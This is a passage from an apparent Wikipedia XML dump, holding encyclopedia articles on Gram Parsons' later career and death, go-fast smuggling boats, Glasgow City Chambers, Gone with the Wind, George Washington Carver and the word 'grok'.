By this time, Parsons's own use of [[recreational drug use|drugs]] had increased to the extent that the recording of the followup, 1970's ''[[Burrito Deluxe]]'', was slow and acrimonious, and it was no surprise that Parsons was frequently absent from the sessions.  The album is considered less inspired than its predecessor, but it is notable for the Parsons-Hillman-Leadon song &quot;Older Guys&quot; and for its take on Jagger and Richards's &quot;Wild Horses&quot; -- the first recording released of this famous song.

The group attempted a follow-up full of unique interpretations of country standards, including &quot;Six Days on the Road&quot; and &quot;Sing Me Back Home&quot;. However, after the failure of ''Burrito Deluxe'', these plans were shelved. Parsons soon left the group, who limped on through two more LPs.

===1970-1972===
The remainder of [[1970]] was largely wasted by Parsons, and his penchant for [[cocaine]], [[heroin]] and other indulgences resulted in the abandonment of sessions for what was to have been a solo record for [[A&amp;M Records|A&amp;M]], after which Gram returned to hanging out with the Stones, first in [[London]] and later [[France]], during the recording of ''Exile on Main Street'', allegedly appearing amongst the faceless, boozy choir that inhabits various songs.

===1972-1973===
Parsons returned to the US for a one-off concert with the Burritos, and at Hillman's instigation went to hear [[Emmylou Harris]] sing in a small club in [[Washington, D.C]]. They became friends and, within a year, he asked her to join him in Los Angeles for another attempt to record his first solo album.  ''[[GP (album)|GP]]'', 1973, utilized the guitar-playing of [[Elvis Presley]] and [[Ricky Nelson]] sideman  [[James Burton]], and featured  Parsons songs such as &quot;Big Mouth Blues&quot; and &quot;Kiss the Children,&quot; as well as a superb cover of [[Tompall Glaser]]'s &quot;Streets of Baltimore.&quot;

Parsons, by now featuring Harris as his duet partner, played dates across the [[United States]] as  Gram Parsons and the Fallen Angels.  For his next and final album, [[1974]]'s ''[[Grievous Angel]]'', he again used Harris and Burton. The record, which was released after his death, received even more enthusiastic reviews than had ''GP'', and has since attained classic status.  Among its most celebrated songs is &quot;$1000 Wedding,&quot; which was covered by one of the many groups influenced by Parsons, [[the Mekons]], and &quot;Brass Buttons,&quot; which addresses his mother's alcoholism.

===Death===
Parsons died [[September 19]], [[1973]] in [[Joshua Tree, California ]] at the age of 26 from a [[drug overdose|overdose]], purportedly of [[morphine]] and [[tequila]]. In a story that has taken on legendary stature, Parsons' body disappeared from the [[Los Angeles International Airport]], where it was being readied to be shipped to Louisiana for burial. His former road manager, Phil Kaufman, claimed that Gram had remarked after [[Clarence White]]'s funeral in July of that year that he (Gram) did not want to be buried when he died, but instead would rather be taken out to Joshua Tree and cremated. Kaufman and a friend managed to steal Parson's body from the airport and, in a borrowed hearse, drove Parsons' body to Joshua Tree where they [[cremation|cremated]] it. The site of the cremation is today marked by a small concrete slab and is presided over by a large rock flake known to [[rock climbing|rock climbers]] as 'The Gram Parsons memorial hand traverse'.  The two were arrested several days later and fined $700 for burning the coffin, since stealing a body was not a crime. [http://www.gramparsons.com/faq/] The burned remains were eventually returned to Parsons' family and interred in [[New Orleans]]. A version of these events is depicted in the [[2003 in film|2003]] [[film]] ''[[Grand Theft Parsons]]''; they are discussed at length by several people, including Kaufman, in the documentary ''Fallen Angel: Gram Parsons''.

== Discography==
* ''[[Safe at Home]]'' : International Submarine Band (1968)
* ''[[Sweetheart of the Rodeo]]'' : The Byrds (1968)
* ''[[The Gilded Palace of Sin]]'' : Flying Burrito Brothers (1969)
* ''[[Burrito Deluxe]]'' : Flying Burrito Brothers (1970)
* ''[[GP (album)|GP]]'' : Gram Parsons (1973)
* ''[[Grievous Angel]]'' : Gram Parsons (1974)
* ''[[Early Years (1963&amp;ndash;1965)]]'' : Gram Parsons (1979)
* ''[[Live 1973]]'' : Gram Parsons and the Fallen Angels (1982)
* ''[[Sacred Hearts &amp; Fallen Angels: The Gram Parsons Anthology]]'' : Gram Parsons/Various (2001)
* ''[[The Complete Reprise Sessions]]'' : Gram Parsons (2005).

==Samples==
*[[Media:Miller'sCave.ogg|Download sample]] of &quot;Miller’s Cave&quot; from ''[[Gram Parsons International Submarine Band (Safe at Home)]]''

==References==
Christgau, Robert.  1990.   ''Rock Albums of the '70s:  A Critical Guide''.  (New York:  Da Capo Press).  ISBN 0-306-80409-3.

==Further reading==
* ''Are You Ready for the Country: Elvis, Dylan, Parsons and the Roots of Country Rock,'' Peter Dogget, Penguin Books, 2001. ISBN 0-140-26108-7
* ''Dreaming Out Loud: Garth Brooks, Wynonna Judd, Wade Hayes and the changing face of Nashville,'' Bruce Feiler, Avon Books, 1998. ISBN 0-380-97578-5
* ''In The Country of Country: A Journey to the Roots of American Music,'' Nicholas Dawidoff, Vintage Books, 1998. ISBN 0-375-70082-x
* ''Hickory Wind: The Life and Times of Gram Parsons,'' Ben Fong-Torres, Pocket Books, 1991.  ISBN 0-671-70513-X
* ''Grievous Angel : An Intimate Biography of Gram Parsons'' by Jessica Hundley and Polly Parsons (Paperback - Nov 9, 2005)

==External links==
* [http://www.gramparsons.com www.gramparsons.com], a fan page with many links
* [http://ebni.com/byrds/memgrp1.html Parsons biography] on a Byrds-oriented web site
* [http://www.dizzyrambler.com/legends/GParsons/parsons_bio.html Another Parsons biography] with a lot of graphics, high-school pictures, album covers, International Submarine Band logos and band pictures, and more.
* [http://www.gramparsonsproject.com www.gramparsonsproject.com], a page with interviews from those in the know
* {{imdb name|id=0663828|name=Gram Parsons}}

[[Category:1946 births|Parsons, Gram]]
[[Category:1973 deaths|Parsons, Gram]]
[[Category:American guitarists|Parsons, Gram]]
[[Category:American male singers|Parsons, Gram]]
[[Category:American pianists|Parsons, Gram]]
[[Category:American songwriters|Parsons, Gram]]
[[Category:Country musicians|Parsons, Gram]]
[[Category:Drug-related deaths|Parsons, Gram]]
[[Category:Entertainers who died in their 20s|Parsons, Gram]]

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  <page>
    <title>Go-fast boat</title>
    <id>12992</id>
    <revision>
      <id>29766612</id>
      <timestamp>2005-12-01T03:44:34Z</timestamp>
      <contributor>
        <username>KaiserbBot</username>
        <id>624606</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: general-purpose_machine_gun</comment>
      <text xml:space="preserve">[[image:gofast.jpg|right|thumb|A &quot;go-fast&quot; is the preferred boat of many smugglers.]]
The '''go-fast boat''' is the generic name for the drug [[smuggling]] [[boat]] of choice in many parts of the world in the [[1990s]] and [[2000s|first years]] of the [[21st century]]. The name is also more widely used for high performance craft of the characteristic design.

A typical smuggling go-fast is built of solid, dark-colored [[fiberglass]], wide of beam and with a deep &quot;&lt;tt&gt;V&lt;/tt&gt;&quot; offshore racing hull from usually 30 to 50 [[Foot (unit of length)|feet]] (10 to 15 [[metre|m]]) long. It commonly carries a [[ton]] or more of cargo, several fuel drums, a handheld [[global positioning system]], perhaps a [[cellular telephone]], and a small crew. With several 250 [[horsepower]] (200 [[kilowatt|kW]]) engines, they travel at top speeds of 35 to 50 [[knot_(nautical)|knots]] (65 to 100 [[Kilometre per hour|km/h]]), slowing little in light chop and still maintaining 25 knots (50 km/h) in the average five to seven foot (1.5 to 2 m) [[Caribbean]] seas. They are heavy enough to cut through higher waves, although at a slower pace. Go-fasts are rarely detected by [[radar]] except on flat calm seas or at close range.

The [[US Coast Guard]] finds them to be [[Stealth technology|stealthy]], fast, seaworthy, and very difficult to intercept using conventional craft. Because of this, Coast Guards are developing their own high-speed craft and also using [[helicopter]]s. The helicopters are equipped with [[sniper rifle]]s which can be used to disable the motors of the go-fast boat. The Coast Guard go-fast boat is a [[Rigid-hulled inflatable boat|RHIB]] equipped with radar and more powerful engines. The RHIB is armed with several types of [[non-lethal force|non-lethal]] weapons and [[M240]] [[General purpose machine gun|GPMG]].

== External links ==
* [http://www.globalsecurity.org/security/library/congress/1998_h/h980610-raff.htm Congressional testimony on technologies for detecting go-fast boats]
* [http://www.lexingtoninstitute.org/defense.asp?aid=288 Lexington Institute article on technologies for stopping go-fast boats]

[[Category:Law enforcement equipment]]
[[Category:Boat types]]</text>
    </revision>
  </page>
  <page>
    <title>Global positioning system</title>
    <id>12993</id>
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      <id>15910637</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Global Positioning System]]
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  </page>
  <page>
    <title>Glasgow City Chambers</title>
    <id>12994</id>
    <revision>
      <id>41326532</id>
      <timestamp>2006-02-26T16:32:30Z</timestamp>
      <contributor>
        <ip>195.93.21.135</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Wfm glasgow cityhall.jpg|thumb|right|250px|The front of the City Chambers, from [[George Square]].]]
[[Image:City Chambers dusk.jpg|thumb|right|250px|City Chambers viewed from George Square. The main entrance is obscured by the cenotaph commemorating [[World War II]].]]
[[Image:Glasgow City Chambers Council Chamber.jpg|thumb|right|250px|The Council Chamber]]
[[Image:Glasgow City Chamers Full Marble Staircase.jpg|thumb|right|250px|The Full Marble Staircase]]
[[Image:Glasgow City Chambers, interior.JPG|thumb|right|250px|Mosaic ceiling of the ground floor Loggia]]

The City Chambers of [[Glasgow]], [[Scotland]], are magnificent Victorian buildings on the eastern side of the city's [[George Square]]. They are the headquarters of [[Glasgow City Council]], the largest [[local authority]] in Scotland, and were completed in [[1889]]. [[Victoria of the United Kingdom|Queen Victoria]] herself performed the inauguration ceremony in August [[1888]], and the first [[Council]] meeting was held in October 1889.

The entrance hall of the Chambers proudly displays a mosaic of the city's [[coat of arms]] on the floor. The arms reflect legends about Glasgow's [[patron saint]], [[Saint Mungo]], and include four emblems - the bird, tree, bell, and fish - as remembered in the following verse:

:''Here's the Bird that never flew''
:''Here's the Tree that never grew''
:''Here's the Bell that never rang''
:''Here's the Fish that never swam''

A tapestry hanging in the hall is intended to represent Glasgow's past and present, and from a distance appears almost Japanese in style.

Pillars of [[marble]] and [[granite]] give way to staircases of marble, [[freestone]], and [[alabaster]], and a ceiling decorated in gold is topped by a [[stained glass]] dome.

The [[Councillor]]'s Corridor, containing councillors' mailboxes and decorated in Italian [[faience]], leads to the Committee Rooms, where formal business committees meet, and an impressive library.

From the corridor one passes through into the Council Chamber. This is where the Council meets formally, and is one of the most impressive rooms in the City Chambers. There are seats for each of the 79 councillors, all facing the [[Lord Provost]] (the Glasgow equivalent of the [[Mayors in the United Kingdom|lord mayor]] found in London and other cities), his Depute, and the Chief Executive, who are seated behind the [[mace]]. A [[public gallery]] looks down on the proceedings, and a small [[press gallery]] is located at the side.

The Lord Provost's main office is decorated in the same [[Venice|Venetian]] style as the rest of the building. Many famous visitors, including the [[Royal family]] have signed the visitor book here.

The municipal mace is kept in an ante-room leading to the Lord Provost's office. Part of the ritual of the Council's proceedings is that the mace is carried by the Council Officer when leading the Lord Provost into the Council Chamber to chair full council meetings. The mace is made from gold-plated [[silver]], and was presented to the council in [[1912]].

Next to the Council Chamber, you come across three rooms used for civic functions and large meetings: the [[Satinwood]] Salon, Octagonal Room, and [[Mahogany]] Salon. These rooms are decorated in fine woods as their names imply, and also house a selection of fine paintings.

The grandest room in the Chambers is the Banqueting Hall. Its magnificence has impressed [[heads of state]], and it has witnessed many different types of events, from formal civil ones to record launches, fashion shows, children's Christmas parties and private functions. [[Nelson Mandela]] received his [[Freedom of the City]] here in [[1993]].

The hall is 33.5m long by 14.6m wide and 15.8m high. The carpet comes in three sections which are rotated regularly to prevent wear. The carpet design reflects the ornate pattern of the roof. Huge murals decorate the walls, depicting the granting of the city's charter, its history and culture, and the four main Scottish rivers. The hall's electric chandeliers, or &quot;electroliers&quot;, were designed in [[1885]].

The daily tours of the Chambers conclude with the Upper Gallery on the third floor, which lets one see the detail on the beautiful dome visible from the other floors, as well as portraits of former Lord Provosts.

The City Chambers of [[Glasgow]], then, are well worth inclusion in any traveller's visit to the city, and its architectural features and position as a seat of local [[government]] will also ensure its appeal to locals and other Scots.

The Chambers were used as part of the location for &quot;[[The House of Mirth]]&quot; an adaption of the novel by [[Edith Wharton]] by [[Terence Davies]] starring [[Gillian Anderson]] and [[Dan Aykroyd]].


[[Category:Glasgow]]
[[Category:Government buildings in the United Kingdom]]
[[Category:Visitor attractions in Glasgow]]
[[Category:Buildings and structures in Glasgow]]</text>
    </revision>
  </page>
  <page>
    <title>Gone with the Wind</title>
    <id>12995</id>
    <revision>
      <id>41896012</id>
      <timestamp>2006-03-02T13:05:32Z</timestamp>
      <contributor>
        <username>Walloon</username>
        <id>35201</id>
      </contributor>
      <comment>rv: this is the article about the book, not the film</comment>
      <text xml:space="preserve">{{Otheruses4|the book|the 1939 film|Gone with the Wind (film)}}

[[Image:Stamp-ctc-gwtw.jpg|thumb|''Gone with the Wind'' was an instant success. The text on the back of the stamp reads: &quot;Margaret Mitchell's 1936 novel, Gone With The Wind, portrayed the Old South during the Civil War and Reconstruction.  It was a number one bestseller for two years and continues to be sold throughout the world. ''Celebrate the Century - 1930s''&quot;]]
'''''Gone with the Wind''''', an [[United States|American]] [[novel]] by [[Margaret Mitchell]], was published in [[1936]] and won the [[Pulitzer Prize]] in [[1937]]. The novel is one of the most popular of all time, and an American [[Gone with the Wind (film)|film adaptation of the same name]] released in [[1939]] became the highest-grossing film in the history of [[Hollywood]] and received a record-breaking number of [[Academy Award]]s.

Mitchell's work relates the story of a rebellious [[Georgia (U.S. state)|Georgia]] woman named [[Scarlett O'Hara]] and her travails with friends, family and lovers in the midst of the [[antebellum]] [[U.S. South|South]], the [[American Civil War]], and the [[Reconstruction]] period. It also tells the story of the love that blossoms between [[Scarlett O'Hara]] and [[Rhett Butler]]. 

The title is taken from the first line of the third stanza of the poem ''Non sum qualis eram bonae sub regno Cynarae'' by [[Ernest Dowson]]: &quot;I have forgot much, Cynara! gone with the wind.&quot; Alternatively, the line also appears in the novel. When Scarlett escapes Atlanta's bombing by the forces of the north, she flees back to her family's [[plantation]], [[Tara Plantation|Tara]]. At one point, she wonders &quot;Was Tara still standing? Or was Tara also gone with the wind which had swept through Georgia?&quot;

Critics and historians regard the book as having a strong ideological commitment to the cause of the [[Confederate States of America|Confederacy]] and a romanticized view of the culture of the antebellum South. This is apparent from the book's opening pages, which describe how Scarlett's beaux, the Tarleton twins, have been expelled from university and are accompanied home by their elder brothers out of a sense of honor: a [[metaphor]] for the South's viewpoint on the [[Kansas-Nebraska Act|statehood of Kansas]].

Nevertheless, the book includes a vivid description of the fall of [[Atlanta]] in [[1864]] and the devastation of war (some of it absent from the 1939 film), and shows a considerable amount of historical research. Mitchell's sweeping narrative of war and loss helped the book win the [[Pulitzer Prize]] on [[May 3]], [[1937]]. 

[[Alexandra Ripley]] wrote the novel ''[[Scarlett (novel)|Scarlett]]'', in [[1991]], as the authorized sequel to Mitchell's novel. 

In [[2000]], the copyright holders attempted to suppress publication of [[Alice Randall]]'s ''[[The Wind Done Gone]]'', a book that retold the story from the point of view of the slaves. A federal appeals court denied the plaintiffs an [[injunction]] against publication in ''[[Suntrust v. Houghton Mifflin]]'' (2001), on the basis that the book was [[parody]] protected by the [[First Amendment to the United States Constitution|First Amendment]]. The parties subsequently settled out of court to allow the book to be published.

== Structure ==
=== Part One ===
''Chapters I to VII''

From [[Tara Plantation|Tara]] to Ashley's birthday [[barbecue]] where his engagement to Melanie is announced and [[Fort Sumter]] spurs the beginnings of the [[American Civil War]].

=== Part Two ===
''Chapters VIII to XVI''

From Tara to Scarlett's early years of the war in Atlanta with Aunt Pitty and Melanie.

=== Part Three ===
''Chapters XVII to XXX''

Scarlett's escape just before September 1864's [[Surrender of Atlanta]] back to Tara and the hardships there.

=== Part Four ===
''Chapters XXXI to XLVII''

Post-bellum, [[carpetbagger]] taxes force Scarlett to return to Atlanta where she ends up married to Frank.

=== Part Five ===
''Chapters XLVIII to LXIII''

Her marriage to [[Rhett Butler]] and realization that she never could love Ashley.

== Historical Sources for the Characters == 
While Margaret Mitchell used to say that her ''Gone with the Wind'' characters were not based on real people, modern researchers have found similarities to some of the people in Mitchell's own life as well as to individuals she knew or she heard of. [[Rhett Butler]] is thought to be based on Mitchell's first husband, Red Upshaw, who she married in 1922, but divorced after it was revealed that he was a [[bootlegger]].  

Another at least partial character source for [[Scarlett O'Hara]] might have been [[Martha Bulloch|Martha Bulloch Roosevelt]], the mother of US president [[Theodore Roosevelt]]. Roosevelt biographer, [[David McCullough]], discovered that Mitchell conducted an interview with one of Martha's closest friends and bridesmaid, Evelyn King Williams, at age 87, while a reporter for ''[[The Atlanta Journal-Constitution|The Atlanta Journal]]''. In that interview, Martha's physical appearance, beauty, grace and intelligence were described in great detail. The similarities between Martha, who was also called Mittie, and Scarlett are striking.

== External links ==
{{wikiquote}}
* [http://www.gwtw.org/gonewiththewind.html The story behind ''Gone with the Wind'']
*Study Guides
** [http://www.bookrags.com/summary-gonewind.html BookRags]
** [http://pinkmonkey.com/booknotes/monkeynotes/pmGoneWInd01.asp MonkeyNotes]

[[Category:1936 books]]
[[Category:Novels]]
[[Category:Time Magazine 100 best novels]]

[[ca:Allò que el vent s'endugué]]
[[de:Vom Winde verweht]]
[[es:Lo que el viento se llevó (película)]]
[[fr:Autant en emporte le vent]]
[[ko:바람과 함께 사라지다]]
[[io:Omno ton forportas la vento]]
[[id:Gone with the Wind]]
[[he:חלף עם הרוח]]
[[nl:Gejaagd door de wind]]
[[ja:風と共に去りぬ]]
[[pl:Przeminęło z wiatrem (film)]]
[[simple:Gone with the Wind]]
[[fi:Tuulen viemää]]
[[sv:Borta med vinden]]
[[vi:Cuốn theo chiều gió]]
[[zh:乱世佳人]]</text>
    </revision>
  </page>
  <page>
    <title>Group 1 element</title>
    <id>12996</id>
    <revision>
      <id>15910640</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Alkali metal]]
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  </page>
  <page>
    <title>George Washington Carver</title>
    <id>12997</id>
    <revision>
      <id>42149941</id>
      <timestamp>2006-03-04T03:41:23Z</timestamp>
      <contributor>
        <username>ImmortalGoddezz</username>
        <id>312678</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:George_washington_carver.jpg|right|240px|thumb|George Washington Carver, 1906]]
'''George Washington Carver''' (c. Spring of 1864 &amp;ndash; [[January 5]], [[1943]]) was an [[African American]] [[botanist]] who worked in [[agricultural extension]]  in the [[Southern United States]]. He taught former [[slavery|slaves]] farming techniques for self-sufficiency and is known for suggesting hundreds of uses for the [[peanut]] and other [[plant]]s to increase the profitability of farming.

==Early years==
Carver was born into [[slavery]] in [[Newton County, Missouri|Newton County]], Marion Township, near Diamond Grove, now known as [[Diamond, Missouri|Diamond]], [[Missouri]]. The exact date of birth is unknown due to the haphazard record keeping by slave owners but &quot;it seems likely that he was born in the spring of 1865&quot; {{ref|1}}. His owner, Moses Carver, was a [[German American]] immigrant who had purchased George's mother, Mary, from William P. McGinnis on [[October 9]], [[1855]] for seven-hundred dollars. The identity of Carver's father is unknown but he believed his father was from a neighboring farm and died &quot;shortly after Carver's birth...in a log-hauling accident&quot; {{ref|2}}. George had three sisters and a brother, all of whom died prematurely.

When George was an [[infant]], he, a sister, and his mother were kidnapped by [[Confederate States of America|Confederate]] night raiders and sold in [[Arkansas]], a common practice. Moses Carver hired John Bentley to find them. Only Carver was found, orphaned and near death from [[whooping cough]]. Carver's mother and sister had already died, although some reports stated that his mother and sister had gone north with the soldiers. For returning George, Moses Carver rewarded Bentley with his best [[filly]] that would later produce winning race horses. This episode caused George a bout of [[Chronic obstructive pulmonary disease|respiratory disease]] that left him with a permanently weakened constitution. Because of this, he was unable to work as a hand and spent his time wandering the fields, drawn to the varieties of wild plants. He became so knowledgeable that he was known by Moses Carver's neighbors as &quot;the plant doctor.&quot;

One day he was called to a neighbor's house to help with a plant in need. When he had fixed the problem, he was told to go into the kitchen to collect his reward. When he entered the kitchen, he saw no one. He did, however, see something that changed his life: beautiful paintings of flowers on the walls of the room. From that moment on, he knew that he was going to be an artist as well as a botanist. 

After slavery was abolished, Moses and his wife Susan raised George and his brother Jim as their own. They encouraged Carver to continue his intellectual pursuits. Aunt Susan taught him to read some words and write his name. 

Since [[blacks]] were not allowed at the school in Diamond Grove and he had received news that there was a school for [[blacks]] ten miles south in [[Neosho, Missouri|Neosho]], he resolved to go there at once. To his dismay, when he reached the town, the school had been closed for the night. As he had nowhere to stay, he slept in a nearby barn. By his own account, the next morning he met a kind woman, [[Mariah Watkins]], from whom he wished to rent a room. When he identified himself &quot;Carver's George,&quot; as he had done his whole life, she replied that from now on, his name was &quot;George Carver.&quot; George liked this lady very much and her words &quot;You must learn all you can, then go back out into the world and give your learning back to the people,&quot; had a great impression on him.

At the age of thirteen, due to his desire to attend [[high school]], he relocated to the home of another foster family in [[Fort Scott, Kansas]]. After witnessing the beating death of a black man at the hands of a group of white men, George left Fort Scott. He subsequently attended a series of schools before earning his diploma at Minneapolis High School in [[Minneapolis, Kansas]].

After high school, George started a laundry business in [[Olathe, Kansas]].

==College years==
[[Image:Carver1web.jpg|thumb|200px|At work in his laboratory]]
Over the next few years, he sent letters to several colleges and was finally accepted at [[Highland College]] in [[Highland, Kansas]]. He travelled to the college, but was rejected when they discovered he was black.  In 1887, he was accepted to [[Simpson College]] in [[Indianola, Iowa]], as its first African-American student (some reports cite the year as 1890 and that he was, in fact, the second black student accepted at Simpson). He transferred in 1891 to [[Iowa State University]] (then Iowa State Agricultural College), where he was the first black student, and later the first black faculty member.

In order to avoid confusion with another George Carver in his classes, he began to use the name George Washington Carver. 

While in college at Simpson, he showed a strong aptitude for singing and art.  His art teacher, Etta Budd, was the daughter of the head of the department of horticulture at Iowa State: Joseph Budd.
Etta convinced Carver to pursue a career that paid better than art and so he transferred to Iowa State.

At the end of his undergraduate career in [[1894]] and recognizing Carver's potential Joseph Budd and Louis Pammel convinced Carver to stay at Iowa State for his [[master's degree]].
Carver then performed research at the [[Iowa Agriculture and Home Economics Experiment Station]] under Pammel from 1894 to 1896 when he graduated.
It is his work at the experiment station in plant pathology and mycology that gained him national respect as a botanist.

The encouragement Etta Budd gave Carver to seek a better-paying career was well warranted, at least for Etta, since she died a poor retired art teacher in a [[Boone, Iowa]] retirement home.

==Later years==
In 1896, he was recruited to Tuskegee Normal and Industrial Institute (today: [[Tuskegee University]]) by [[Booker T. Washington]] in [[Tuskegee, Alabama]]. He remained there for 47 years until his death in [[1943]].

Taking an interest in the plight of poor [[Southern]] farmers working with soil depleted by repeated crops of [[cotton]], Carver advocated employing the [[nitrogen cycle]] by alternating cotton crops with other planting, such as [[legume]]s ([[peanut]]s), or other crops ([[sweet potato]]) to restore [[nitrogen]] and other nutrients to the soil. Thus, the cotton crop was improved and new cash crops added. He developed an [[agricultural extension]] system in [[Alabama]] &amp;mdash; based on that created at Iowa State University &amp;mdash; to train farmers in raising these crops and an [[industrial research laboratory]] to develop uses for them.

[[Image:George Washington Carver-peanut specimen.jpeg|right|thumb|200px|Peanut specimen collected by Carver]]

In order to make these new crops profitable, Carver devised numerous uses, several of which were unique, for the new crops, including more than 300 uses for the peanut. These applications included glue, printer's ink, dyes, punches, varnishing cream, marble, rubbing oils, and [[Worcestershire sauce]]; however, contrary to popular belief, this list does not include [[peanut butter]].[http://inventors.about.com/library/inventors/blpeanutbutter.htm] He made similar investigations into uses for plants such as [[sweet potato]]es and [[pecan]]s.

Until 1915, Carver was not widely known for his agricultural research. However he became one of the best-known African-Americans of his era following the funeral of [[Booker T. Washington]] when he was praised by [[Theodore Roosevelt]]. In 1916, he was voted in as a member of the [[Royal Society of Arts]] in [[England]], one of only a handful of Americans at that time to receive this honor.  By 1920 with the growth of the peanut market in the U.S., the market was flooded with peanuts from [[China]]. That year, Southern farmers came together to plead their cause before a [[tariff]] hearing. Carver was elected, without hesitation, to speak before the hearing. On arrival Carver was mocked but was not deterred and began to show them some of uses he had found. He was initally given ten minutes to present, but the committee extended his time again and again. The committee was held spellbound and rose in applause as he finished his presentation. The following year a tariff was placed on imported peanuts.

Now Carver was famous. Business leaders came to seek his help and he always gave it to them without a price. Three American presidents &amp;mdash; [[Theodore Roosevelt]], [[Calvin Coolidge]] and [[Franklin Roosevelt]] &amp;mdash; met with Carver. The [[Crown Prince]] of [[Sweden]] studied with him for three weeks; Indian leader, [[Mahatma Gandhi]] too was in his company for a while. Carver's best known guest was [[Henry Ford]] who built a laboratory for Carver and conducted research with him there as well. Their most notable discovery together was regarding the fabrication of [[rubber]]. Carver also did extensive work with [[soy]], which he and Ford considered as an alternative fuel. Carver created a soy-based [[plastic]] still used in automobiles today for its dent-proof qualities.

In [[1923]], Carver received the [[Spingarn Medal]] by the [[NAACP]], awarded annually for outstanding achievement. In [[1928]], [[Simpson College]] bestowed Carver with an [[Honorary degree|honorary doctorate]]. In [[1940]], Carver established the [[George Washington Carver Foundation]] at Tuskegee University. In [[1941]], the [[George Washington Carver Museum]] was dedicated at the Tuskegee Institute. In [[1942]], Carver received the Roosevelt Medal for Outstanding Contribution to Southern Agriculture.

==Death and afterwards==
[[Image:George Washington Carver 1998 stamp.jpg|thumb|1998 stamp]]
Upon returning home one day, Carver took a bad fall down a flight of stairs; he was found unconscious by a maid who took him to a hospital. Carver died [[January 5]], [[1943]] at the age of 79 from complications (anemia) resulting from this fall.

On his grave was written the simplest and most meaningful summary of his life.
''He could have added fortune to fame, but caring for neither, he found happiness and honor in being helpful to the world''

On [[July 14]], [[1943]] {{ref|3}}, President [[Franklin Delano Roosevelt]] dedicated $30,000 for the [[George Washington Carver National Monument]] west-south-west of Diamond, Missouri - an area where Carver had spent time in his childhood. This dedication marks the first national monument dedicated to an African-American. At this 210 acre [[national monument]], there is a [[Bust (sculpture)|bust]] of Carver, a 3/4 mile nature trail, a museum, the 1881 Moses Carver house, and the Carver cemetery.

Carver appeared on US commemorative stamps in 1948 and 1998 and was depicted on a commemorative half-dollar from 1951 to 1954. The ''[[USS George Washington Carver (SSBN-656)]]'' is also named in his honor.

In 1977, Carver was elected to the [[Hall of Fame for Great Americans]]. In 1990, Carver was inducted into the [[National Inventors Hall of Fame]]. Iowa State University awarded Carver the [[Doctor of Humane Letters]] in 1994. On [[February 15]], [[2005]], an episode of [[Modern Marvels]] included scenes from within Iowa State University's Food Sciences Building and about Carver's work. Many people honor George Washington Carver to this day.

==George Washington Carver in Films==

In the [[2002]] movie ''[[Undercover Brother]]'', Conspiracy Brother, played by [[Dave Chapelle]], laments how black people don't get credit for anything. To make his point, he claims, &quot;Did you know that George Washington Carver made the first [[computer]] from a peanut?&quot;

==See also==
*[[African-American history]]
*[[Boll Weevil]]
*[[Carver Academy]]
*[[List of people on stamps of the United States]]

==References==
*McMurry, L. O. Carver, George Washington. American National Biography Online Feb. 2000
* {{note|1}} Pages 9-10 of ''George Washington Carver: Scientist and Symbol'' by Linda McMurray, 1982. (ISBN 0195032055)
* {{note|2}} Page 10 of ''George Washington Carver: Scientist and Symbol'' by Linda McMurray, 1982. (ISBN 0195032055)
* {{note|3}} http://www.nps.gov/gwca/index.htm
*Carver, George Washington. &quot;1897 or Thereabouts: George Washington Carver's Own Brief History of His Life.&quot; George Washington Carver National Monument.

==External links==
{{wikiquote}}
*[http://www.tuskegee.edu/global/story.asp?s=1107203&amp;ClientType=Print Tuskegee University, Carver tribute]
*[http://www.lib.iastate.edu/spcl/gwc/home.html Iowa State University, The Legacy of George Washington Carver]
{{botanist|Carver|Carver, George Washington}}



{{Persondata
|NAME=Carver, George Washington
|ALTERNATIVE NAMES=
|SHORT DESCRIPTION=botanist
|DATE OF BIRTH=1865
|PLACE OF BIRTH=[[Diamond, Missouri]], [[United States of America]]
|DATE OF DEATH=[[January 5]], [[1943]]
|PLACE OF DEATH=[[Tuskegee, Alabama]], [[United States of America]]
}}


[[Category:1860s births|Carver, George Washington]]
[[Category:1943 deaths|Carver, George Washington]]
[[Category:African American inventors|Carver, George Washington]]
[[Category:American botanists|Carver, George Washington]]
[[Category:Christians in science|Carver]]
[[Category:Iowa State University|Carver, George Washington]]
[[Category:Mycologists|Carver, George Washington]]
[[Category:People from Alabama|Carver, George Washington]]
[[Category:People from Missouri|Carver, George Washington]]
[[Category:Phi Beta Sigma brothers|Carver, George Washington]]
[[Category:Spingarn Medal winners|Carver, George Washington]]

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  </page>
  <page>
    <title>Grok</title>
    <id>12998</id>
    <revision>
      <id>42068590</id>
      <timestamp>2006-03-03T16:26:56Z</timestamp>
      <contributor>
        <ip>201.252.82.247</ip>
      </contributor>
      <text xml:space="preserve">'''Grok''' (pronounced ''grock'') is a verb roughly meaning &quot;to understand completely&quot; or more formally &quot;to achieve complete [[intuitive understanding]]&quot;. It was [[neologism|coined]] by [[science fiction]] [[writer]] [[Robert A. Heinlein]] in his [[novel]] ''[[Stranger in a Strange Land]]'', where it is part of the fictional [[Martian]] language and introduced to [[English language|English]] speakers by a man raised by Martians.

It should be made clear that there is no exact definition for grok; it is a fictional word intended not to be &quot;understood completely&quot;.

In the Martian tongue, it literally means &quot;to drink&quot; but is used in a much wider context. A character in the novel (not the primary user) defines it: 

:&quot;''Grok'' means to understand so thoroughly that the observer becomes a part of the observed&amp;mdash;to merge, blend, intermarry, lose identity in group experience. It means almost everything that we mean by religion, philosophy, and science&amp;mdash;and it means as little to us (because we are from Earth) as color means to a blind man.&quot;

Using the broad meaning above, the term gained real-world currency as [[slang]] among [[counterculture]] groups including [[hippie]]s. A popular [[t-shirt]] and [[bumper sticker]] slogan for [[1970s]] [[Trekkie]]s was ''I grok [[Mr. Spock|Spock]]'' (often showing the [[Star Trek]] character using the [[Vulcan salute]]). Today it is chiefly used by science-fiction fans, [[geek]]s and some [[Paganism|pagans]], particularly those belonging to the [[Church of All Worlds]], but is attested and understood more widely.

==TV Character==
Grok was also a very gentle, green, giant alien in the Argentinean show La Ola Verde. He was the sidekick of Flavia Palmiero. He was big-footed, had a round, bulbous nose, and green hair that looked somewhat like tentacles. He had a very deep voice, called children &quot;terraquitos&quot; (lil' earthlings), and would award &quot;stars&quot; for good actions such as brushing your teeth.

==See also==
* [[Groklaw]]
